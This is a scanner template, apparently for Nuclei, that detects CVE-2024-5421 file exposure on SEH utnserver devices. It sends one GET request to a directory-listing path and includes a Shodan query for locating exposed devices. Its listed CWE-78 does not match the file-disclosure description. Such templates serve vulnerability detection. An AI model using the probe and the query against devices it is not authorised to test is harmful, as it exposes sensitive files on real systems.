id: CVE-2024-5421

info:
  name: SEH utnserver Pro/ProMAX/INU-100 20.1.22 - File Exposure
  author: bl4ckp4r4d1s3
  severity: high
  description: |
    A vulnerability was identified in utnserver Pro, utnserver ProMAX, and INU-100 version 20.1.22 and earlier, impacting the file handling functions. This flaw results in authenticated file disclosure, granting unauthorized access to sensitive files and directories. Although authentication is required, the vulnerability poses a significant risk of data exposure. This vulnerability is publicly disclosed and identified as CVE-2024-5421.
  reference:
    - https://cyberdanube.com/en/en-multiple-vulnerabilities-in-seh-untserver-pro/index.html
    - https://seclists.org/fulldisclosure/2024/Jun/4
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5421
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L
    cvss-score: 8.7
    cve-id: CVE-2024-5421
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 1
    shodan-query: "SEH HTTP Server"
  tags: cve,cve2024,utnserver,seh,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/info/dir?/"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "/var/tmp</td>"
          - "File System Info"
          - 'face="courier'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008a167aba0bfdc7443823e5c113798ccff5490a6f149f7e9b330db8b083135367022014b0d6f3d53b324fb75f4c5d047a2de0474348ac718ee71bbb8ddde277f1ab9e:922c64590222798bb761d5b6d8e72950